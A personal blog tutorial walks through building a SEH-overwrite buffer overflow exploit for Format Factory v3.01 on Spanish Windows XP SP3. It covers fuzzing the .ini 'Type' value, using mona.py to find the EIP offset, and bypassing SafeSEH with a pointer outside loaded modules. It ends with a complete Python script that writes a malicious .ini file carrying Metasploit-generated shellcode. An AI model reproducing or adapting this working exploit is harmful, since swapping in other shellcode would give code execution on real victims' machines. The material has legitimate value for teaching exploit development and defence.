Last week I saw this vulnerability disclosed in PacketStorm and I decided to create my own exploits; yeah, boredom is a powerful motivation. Original published exploit wouldn’t work for my system, maybe because it was designed for the German language. I thought it might be a good idea to explain the process since this exploit is simple enough.
Description
Software: FileFormat v3.01 Stack Based Buffer Overflow
System: Windows XP SP3 Pro Spanish
Bypasses: SafeSEH
Introduction
Format Factory is a multifunctional media converter for Windows. It’s free and offers a wide range of functionality. The application creates .ini files to store the user preferences for each type of conversion (e.g. if you decide your TIFF files will have a max width of 320, it stores that info in a .ini file). Those files are created under %USERPROFILE%/My Documents/FormatFactory/XXX/, being the XXX the name of a folder specific to the type of media file (PicCustom, AudioCustom…). The following is an example of a .ini file for TIFF format:
Type=TIF Icon=4 MaxWidth=0 MaxHeight=0 SizeLimit=0 Rotate=1 AddTagString=0 Angle=90.000 FontColor=0 TagString= FontName= Position=0 Margin=0 FontSize=0 FontItalic=0 FontUnderline=0
We can start playing along with these files, fuzzing the format is not complicated, and I might write another post on how to do it with Sulley later on. The vulnerability is triggered when the application processes long strings as the value of the Type key. From fuzzing (or manual increment of the size of the Type value) we can see that FileFormat starts crashing when the length of the string is 256 ‘A’. These are the looks of the registers and stack trace when the crash happens:
Unfortunately we can’t see our A’s anywhere. At this point we could reverse engineer the vulnerable function and try to figure out why the crash is happening. Another way,that comes natural when fuzzing, is to increase the length of the payload and see how that affects the crash. In our case, after increasing the payload length to 8192 A’s we can see the program generating an exception, and when the SEH handler is called (once we pass the exception to the program), a segmentation fault happening when trying to execute 0x41414141.
Now, that’s good news. Controlling EIP through SEH overwrite means that we can try our luck with this program. Next, we’ll take a look at the output of the mona.py command “!mona modules” within Immunity Debugger to see what modules are loaded and what protections are we facing. On my system, the output is shown below:
A quick glance shows that ASLR is disabled, as well as NX. However, all modules have been compiled with /SAFESEH flag, which means that we’ll have to bypass that inconvenience while developing our exploit. SafeSEH is an exploit mitigation technique which checks the address of the SEH to be executed against a list of handlers generated at compile time. If the address of the SEH to be executed doesn’t belong to the list, program is terminated. Nonetheless, SafeSEH doesn’t kick in for some types of addresses (i.e. the heap, or addresses not belonging to loaded modules). We’ll use that flaw to build a successful attack.
First things first, we need to figure out the exact position in our payload that’s effectively overwriting EIP. For that, we’ll take advantage of another of the invaluable mona.py commands:
!mona pc 8192
That command, based on metasploit’s pattern_create, generates a cyclic pattern of the specified length. We’ll copy that pattern into the .ini file. A portion of that pattern will be held in EIP at the time of the crash. In our case, EIP holds the value 0x41386941. With the aid of another mona.py command, we’ll find out the position at which we can gain control over EIP.
We have enough information to start putting together a simple python exploit for this vulnerability. Since we seem to have no room problems to accommodate our shellcode, we’ll use a simple metasploit generated one which will launch the infamous Windows calculator. To generate such a creative shellcode, we are going to use metasploit’s msfpayload, making sure we exclude the following bad chars: 0x00, 0x0a, 0x0d (null byte and line terminators).
We can use that output directly into our exploit code. We still need to figure out a suitable address containing the desired “pop/pop/ret” sequence (or anything equivalent) that’s a classic when it comes down to SEH exploitation.To find the aforementioned address we’ll make use of mona.py one more time. Since all modules have been compiled with /SAFESEH flag, the execution of “!mona seh” or “!mona seh” won’t find any suitable address. However, the optional argument “-all” would instruct mona.py to search for pointers outside loaded modules, which would be an elegant solution to bypass SafeSEH. Below is the output of mona:
OK, now we have all the information we need to build a successful exploit. The following python script would be a final version of such an exploit. It creates a .ini file containing the payload within one of Format Factory’s profile folders.
# Format Factory v3.0.1 stack buffer overflow exploit. # Windows XP Pro SP3. Spanish # Author: Adrian Bravo 24/11/2012 import struct # msfpayload windows/exec CMD=calc.exe R | msfencode -b "\x0a\x0d\x00" sc= ("\xb8\xdf\x03\x36\x32\xda\xc8\xd9\x74\x24\xf4\x5f\x2b\xc9" + "\xb1\x33\x31\x47\x12\x03\x47\x12\x83\x18\x07\xd4\xc7\x5a" + "\xe0\x91\x28\xa2\xf1\xc1\xa1\x47\xc0\xd3\xd6\x0c\x71\xe4" + "\x9d\x40\x7a\x8f\xf0\x70\x09\xfd\xdc\x77\xba\x48\x3b\xb6" + "\x3b\x7d\x83\x14\xff\x1f\x7f\x66\x2c\xc0\xbe\xa9\x21\x01" + "\x86\xd7\xca\x53\x5f\x9c\x79\x44\xd4\xe0\x41\x65\x3a\x6f" + "\xf9\x1d\x3f\xaf\x8e\x97\x3e\xff\x3f\xa3\x09\xe7\x34\xeb" + "\xa9\x16\x98\xef\x96\x51\x95\xc4\x6d\x60\x7f\x15\x8d\x53" + "\xbf\xfa\xb0\x5c\x32\x02\xf4\x5a\xad\x71\x0e\x99\x50\x82" + "\xd5\xe0\x8e\x07\xc8\x42\x44\xbf\x28\x73\x89\x26\xba\x7f" + "\x66\x2c\xe4\x63\x79\xe1\x9e\x9f\xf2\x04\x71\x16\x40\x23" + "\x55\x73\x12\x4a\xcc\xd9\xf5\x73\x0e\x85\xaa\xd1\x44\x27" + "\xbe\x60\x07\x2d\x41\xe0\x3d\x08\x41\xfa\x3d\x3a\x2a\xcb" + "\xb6\xd5\x2d\xd4\x1c\x92\xc2\x9e\x3d\xb2\x4a\x47\xd4\x87" + "\x16\x78\x02\xcb\x2e\xfb\xa7\xb3\xd4\xe3\xcd\xb6\x91\xa3" + "\x3e\xca\x8a\x41\x41\x79\xaa\x43\x22\x1c\x38\x0f\x8b\xbb" + "\xb8\xaa\xd3") path = "C:\Documents and Settings\adrian\Mis documentos\FormatFactory\PicCustom\profileExploit.ini" buf = "A"*260 # Initial padding buf += "\xeb\x06\x90\x90" # nseh: Jump over seh (6 bytes) buf += struct.pack('<L',0x7ffc03ef) # SafeSEH bypass 0x7ffc03ef : pop ebx # pop eax # ret | {PAGE_READONLY} [None] buf += sc buf += "A"*(8192-264-8-len(sc)) file = open(path,"w") file.write("Type="+buf) file.close()
The above payload follows the classic structure for an SEH exploit that I’m just explaining briefly. First we put some padding in order to reach the position where we know EIP will be overwritten minus 4 bytes. At that position, the next seh pointer, we place a short jmp of 6 bytes (\xeb\x06), that will jump over the seh pointer coming after, and land right into our shellcode. As that instruction is only two bytes long, we need to add a couple of nops (0x90), hence the need to jump over 6 bytes instead of 4 (2 nops + 4 bytes of the SEH pointer). Next, we add the address at which the “pop/pop/ret” sequence is located, and the shellcode immediately after. Last part of the file simply creates a file and writes the contents to it.
I’m calling it a day now. If you have any question, please feel free to ask in the comments. Take care!
Responder